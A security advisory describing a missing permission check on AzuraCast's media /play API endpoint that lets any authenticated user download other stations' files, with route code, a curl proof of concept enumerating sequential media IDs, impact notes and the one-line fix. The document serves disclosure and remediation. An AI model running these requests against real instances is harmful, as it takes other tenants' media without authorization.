AzuraCast has Missing Permissions Check on Media File Download, Allowing Cross-Station Data Exfiltration

Summary

## Summary The `GET /api/station/{station_id}/file/{id}/play` endpoint, handled by `PlayAction`, is missing the `Middleware\Permissions` check that protects all sibling routes in the same `/file/{id}` route group. Any authenticated user can download media files from any station, regardless of whether they have permissions on that station. In multi-tenant deployments, this enables cross-station media exfiltration. ## Details In `backend/config/routes/api_station.php`, the `/file/{id}` route group (lines 407-429) defines four endpoints: ```php // Line 407-429 $group->group( '/file/{id}', function (RouteCollectorProxy $group) { // GET /file/{id} — has Permissions check ✓ $group->get('', ...)->add(new Middleware\Permissions(StationPermissions::Media, true)); // PUT /file/{id} — has Permissions check ✓ $group->put('', ...)->add(new Middleware\Permissions(StationPermissions::Media, true)); // DELETE /file/{id} — has Permissions check ✓ $group->delete('', ...)->add(new Middleware\Permissions(StationPermissions::DeleteMedia, true)); // GET /file/{id}/play — NO Permissions check ✗ $group->get('/play', Controller\Api\Stations\Files\PlayAction::class) ->setName('api:stations:files:play'); } ); ``` The middleware chain for the `/play` endpoint is: `GetStation → RequireStation → RequireLogin → StationSupportsFeature(Media) → PlayAction`. The `RequireLogin` middleware (`backend/src/Middleware/RequireLogin.php`) only verifies a valid session/API key exists — it does not check station-level permissions. The controller at `backend/src/Controller/Api/Stations/Files/PlayAction.php:84` calls `$this->mediaRepo->requireForStation($id, $station)`, which verifies the media belongs to the station but performs no authorization check. The `findForStation` method (`StationMediaRepository.php:46-66`) accepts both auto-increment integer IDs and unique IDs, making enumeration trivial via sequential integers. This is notably similar to the regression fixed in commit `7fbc7dd` (2026-02-26), which restored a missing group-level `Permissions` middleware on the adjacent `/files` group. The `/play` route was missed in that fix. ## PoC ```bash # Step 1: Create two stations (Station A and Station B) in a multi-tenant AzuraCast instance. # Upload media files to Station B. # Step 2: Create a user with permissions ONLY on Station A. Generate an API key for this user. API_KEY="user-with-only-station-a-access" # Step 3: Enumerate and download media from Station B (station_id=2) using sequential IDs # This should return 403 Forbidden, but instead returns the file content curl -H "X-API-Key: $API_KEY" https://target/api/station/2/file/1/play -o stolen1.mp3 # HTTP 200 OK — file downloaded successfully curl -H "X-API-Key: $API_KEY" https://target/api/station/2/file/2/play -o stolen2.mp3 # HTTP 200 OK — file downloaded successfully # Step 4: Verify the same user is correctly blocked on other endpoints in the same group curl -H "X-API-Key: $API_KEY" https://target/api/station/2/file/1 # HTTP 403 Forbidden — permission check works here ``` ## Impact - Any authenticated user can download the full media library of any station in the instance, regardless of their assigned permissions. - In multi-tenant deployments (e.g., hosting providers running multiple radio stations), a user of Station A can exfiltrate all copyrighted audio content from Station B. - Media IDs use auto-increment integers (`HasAutoIncrementId` trait on `StationMedia`), enabling trivial enumeration of all media files. - The confidentiality impact is High: full media file contents (MP3, FLAC, etc.) are exposed. ## Recommended Fix Add the `Permissions` middleware to the `/play` route, matching the pattern used by the adjacent routes: ```php // backend/config/routes/api_station.php, line 426-427 // Before: $group->get('/play', Controller\Api\Stations\Files\PlayAction::class) ->setName('api:stations:files:play'); // After: $group->get('/play', Controller\Api\Stations\Files\PlayAction::class) ->setName('api:stations:files:play') ->add(new Middleware\Permissions(StationPermissions::Media, true)); ```